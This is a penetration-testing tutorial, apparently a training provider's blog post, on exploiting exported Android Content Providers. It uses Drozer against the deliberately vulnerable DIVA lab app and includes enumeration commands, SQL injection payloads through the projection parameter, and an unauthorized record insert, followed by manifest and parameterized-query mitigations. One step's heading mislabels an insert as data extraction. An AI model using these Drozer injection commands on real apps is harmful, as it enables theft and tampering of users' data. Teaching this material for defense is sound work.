Exploiting Content Providers in Android Applications
Content Providers are one of the most powerful data-sharing mechanisms in Android. They enable structured data exchange between applications and serve as a bridge between databases, files, and external processes. However, when improperly configured, exported Content Providers can become a serious security vulnerability.
In this detailed guide, we will explore how exploiting Content Providers works, demonstrate a real-world attack using the DVIA application and Drozer, and provide secure coding practices to mitigate these risks.
What Are Content Providers in Android?
Content Providers act as centralized repositories that allow applications to store and share data securely. They abstract the underlying storage mechanism and provide controlled access to:
- SQLite databases
- Files
- Media (audio, video, images)
- Network-based data
- Contacts and personal information
In Android, a Content Provider enables one app to access data from another app through a structured interface.
Two common types of Content Providers include:
- Database-backed providers
- File-backed providers
They provide a standardized mechanism for inter-process data communication. If not secured correctly, they may expose sensitive data to unauthorised applications.
Understanding Content URI Structure
The core component of a Content Provider is the Content URI.
Its structure is:
content://authority/optionalPath/optionalID Breakdown:
- content:// — Identifies it as a Content URI
- authority — Unique name of the provider
- optionalPath — Specifies the data type
- optionalID — Numeric identifier for a specific record
Examples:
Directory-based URI:
content://com.example.provider/notes/ ID-based URI:
content://com.example.provider/notes/5The URI acts as the query endpoint for performing database operations.
CRUD Operations in Content Providers
Content Providers support four fundamental operations:
- Create
- Read
- Update
- Delete
These correspond to standard database operations.
A Content Provider typically overrides the following abstract methods:
public class NotesProvider extends ContentProvider {
@Override
public boolean onCreate() {
return true;
}
@Override
public Cursor query(Uri uri, String[] projection,
String selection, String[] selectionArgs,
String sortOrder) {
return null;
}
@Override
public Uri insert(Uri uri, ContentValues values) {
return null;
}
@Override
public int update(Uri uri, ContentValues values,
String selection, String[] selectionArgs) {
return 0;
}
@Override
public int delete(Uri uri, String selection,
String[] selectionArgs) {
return 0;
}
@Override
public String getType(Uri uri) {
return null;
}
} If these methods lack proper validation and access control, attackers can exploit them.
Exploiting Exported Content Providers — Practical Demonstration
For this demonstration, we use:
- DVIA (Damn Vulnerable iOS/Android App)
- Drozer
Step 1 — Analyze the Attack Surface
First, enumerate the attack surface:
run app.package.attacksurface jakhar.aseem.diva The output reveals one exported Content Provider.
Step 2 — Gather Provider Information
Retrieve detailed provider information:
run app.provider.info -a jakhar.aseem.divaThis confirms:
- Provider is exported
- No restrictive permissions
- Authority is exposed
This means any malicious app can access it.
Step 3 — Discover Queryable URIs
Use the Drozer scanner module:
run scanner.provider.finduris -a jakhar.aseemThe scanner identifies queryable URIs such as:
content://jakhar.aseem.diva.provider.notesprovider/notesStep 4 — Extract Data from the Content Provider
Now query the URI:
run app.provider.query content://jakhar.aseem.diva.provider.notesprovider/notes/Sensitive information stored in the database is returned. This confirms unauthorised data exposure.
Step 5 — Detect SQL Injection Vulnerabilities
Scan for injection points:
run scanner.provider.injection -a jakhar.aseem.divaTwo major injection points appear:
- Projection
- Selection
These parameters directly influence SQL queries. If the developer concatenates user input into raw SQL queries, injection becomes possible.
Step 6 — Exploit SQL Injection
Test injection in projection:
run app.provider.query content://jakhar.aseem.diva.provider.notesprovider/notes/ --projection "'The error confirms SQL injection vulnerability. Now enumerate tables:
run app.provider.query content://jakhar.aseem.diva.provider.notesprovider/notes/ --projection "* FROM SQLITE_MASTER WHERE type='table':--"This reveals available database tables. The alternate method is:
run scanner.provider.sqltables -a jakhar.aseem.divaStep 7 — Extract Data from Specific Tables
Extract data from the notes table:
run app.provider.insert content://jakhar.aseem.diva.provider.notesprovider/notes/ --string _id 7 --string title Test --string note HackedThe new record is successfully inserted. By default, CRUD operations are allowed on exported providers without permission enforcement.
An attacker could:
- Modify sensitive records
- Inject malicious data
- Corrupt application state
- Escalate privileges
Why Exported Content Providers Are Dangerous
When android:exported=”true” and no permissions are enforced:
- Any app can query sensitive data
- SQL injection becomes possible
- Unauthorized modifications can occur
- Full database compromise is achievable
This significantly increases the app’s attack surface.
Secure Coding and Mitigation Techniques
1. Disable Exporting If Not Required
If the provider is only used internally:
<provider
android:name=".NotesProvider"
android:authorities="com.example.provider"
android:exported="false" />2. Enforce Permissions
Define custom permissions:
<permission
android:name="com.example.PROVIDER_PERMISSION"
android:protectionLevel="signature" />Apply them:
<provider
android:name=".NotesProvider"
android:authorities="com.example.provider"
android:exported="true"
android:readPermission="com.example.PROVIDER_PERMISSION"
android:writePermission="com.example.PROVIDER_PERMISSION" />3. Use Parameterized Queries
Avoid raw SQL concatenation.
Insecure code:
String query = "SELECT * FROM notes WHERE title = '" + input + "'";
db.rawQuery(query, null);Secure code:
db.query(
"notes",
null,
"title = ?",
new String[]{input},
null,
null,
null
);Using parameterized queries prevents SQL injection.
Final Thoughts
Content Providers are essential for structured data sharing in Android. However, exported providers without proper permissions and input validation can lead to:
- Data leakage
- SQL injection
- Unauthorized data modification
- Full database compromise
In our DVIA demonstration, we successfully:
- Enumerated an exported provider
- Extracted sensitive data
- Identified SQL injection
- Enumerated database tables
- Inserted malicious records
This highlights the importance of secure Android development and thorough penetration testing.
If you want to gain real-world skills in Android exploitation, Drozer usage, SQL injection in mobile apps, and secure coding practices, join the Android Pentesting Course at Redfox Cybersecurity Academy today:
https://academy.redfoxsec.com/course/android-pentesting-course-80210
Build expertise in Android security. Learn exploitation techniques ethically. Strengthen your mobile pentesting career with Redfox Cybersecurity Academy.
